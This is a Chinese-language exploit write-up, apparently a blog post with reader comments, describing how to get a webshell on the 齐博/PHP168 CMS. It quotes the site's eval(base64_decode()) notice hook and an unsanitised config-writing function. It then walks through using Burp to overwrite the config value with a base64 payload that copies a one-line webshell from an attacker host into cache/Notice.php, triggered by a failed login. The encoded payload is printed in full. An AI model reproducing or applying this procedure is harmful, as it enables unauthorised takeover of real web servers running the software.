齐博系统全版本后台无限制可getshell

Author:Codier FROM:F4ck 0x001 在文件admin/global.php 有用户登录代码部分如下:
if($rs==0){
                login_logs($_POST[loginname],$_POST[loginpwd]);
                setcookie("Admin",'',0,"/");
                eval(base64_decode("Y$webdb[_Notice]"));
                showmsg("<A HREF=?>用户不存在</A>");
        }elseif( $rs==-1 ){
由此可知 当用户不存在也就是输出错误用户名的时候会触发此代码
eval(base64_decode("Y$webdb[_Notice]"));
$webdb[_Notice]此为配置项的参数,对应的配置数据库表为config表 1 在此我们调试打印一下 该参数 2 得到的结果如下:
copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");
这是官方留下的通知么?可能是原php168的时候留下的吧 呵呵 试想一下如果 http://www.php168.com/Notice/?url=$webdb[www_url] 返回一个一句话呢。那么直接在admin/cache/目录下面生成 notice.php 一句话木马。 问题是此网站不受我们控制,那么我们得想办法在config表中修改配置项从而为我们所用。 0x002 接下来我们看一下配置文件的处理文件 该文件在admin/center.php 该函数中调用了 write_config_cache($webdbs); 来处理我们POST的内容 该 $webdbs 是一个数组 write_config_cache 该函数又回到了 admin/global.php 文件当中 简要内容如下:
function write_config_cache($webdbs)
{
        global $db,$pre;
        if( is_array($webdbs) )
        {
                foreach($webdbs AS $key=>$value)
                {
                        
                        if(is_array($value))
                        {
                                $webdbs[$key]=$value=implode(",",$value);
                        }
                        
                        $SQL2.="'$key',";
                        $SQL.="('$key', '$value', ''),";
                }
                $SQL=$SQL.";";
                $SQL=str_Replace("'),;","')",$SQL);
                
                echo " DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ";
                echo " INSERT INTO `{$pre}config` VALUES  $SQL ";
                
                //exit();
                $db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ");
                $db->query(" INSERT INTO `{$pre}config` VALUES  $SQL ");        
        }
此函数通过遍历 参数 $webdbs (数组),取其键值 然后拼装给$SQL2 变量。 然后通过
$db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ");  in对这些key的值删除
通过
$SQL.="('$key', '$value', ''),";//对需要插入的数据打包处理,然后再通过
$db->query(" INSERT INTO `{$pre}config` VALUES  $SQL ");        //进行插入。
在此之前全未对,无法配置的_Notice 进行过滤 。接下来就可以直接修改post包 更新其值了 0x003 首先我们来构造下
eval(base64_decode("Y$webdb[_Notice]"));  
copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");
在得到base64编码之后要去掉前面的Y,这是对函数名做限定么? 好的,我们就只改下网站就ok了。 在远程网站上写一个fuck.txt文本写入 一句话 对应的url为:http://www.a.com/exp/fuck.txt 然后 copy("http://www.a.com/exp/fuck.txt",PHP168_PATH."cache/Notice.php"); 再对该 代码进行base64编码得到 Y29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7 取Y后面的值 也就是 29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7 上神器burpsuite 进行抓包, 3 然后加入该参数: 点击Go提交数据包。 查看一下数据库中的表 4 已经改为我们提交的恶意base64编码了。 0x004 现在我们来触发,由前面0x001知道到 当用户不存在也就是输出错误用户名的时候会触发此代码 。我们打开 http://www.a.com/v7/admin/global.php 输出不存在用户 ,记得这里要随便输出密码,密码无输出也不会触发。。 5 点击登录 提示用户不存在,然后再cache目录下面 notice.php 一句话已经静静的躺着了 6 7

4 条评论

  1. 1

    :!:

  2. 残废

    楼主你好,我想问一下,他说的抓包是在哪一步或者哪个地址抓包

    1. 0day5
      @残废

      额,其实我也在思考这个问题

    2. 0day5
      @残废

      可否允许我本地测试了再告诉你~

发表评论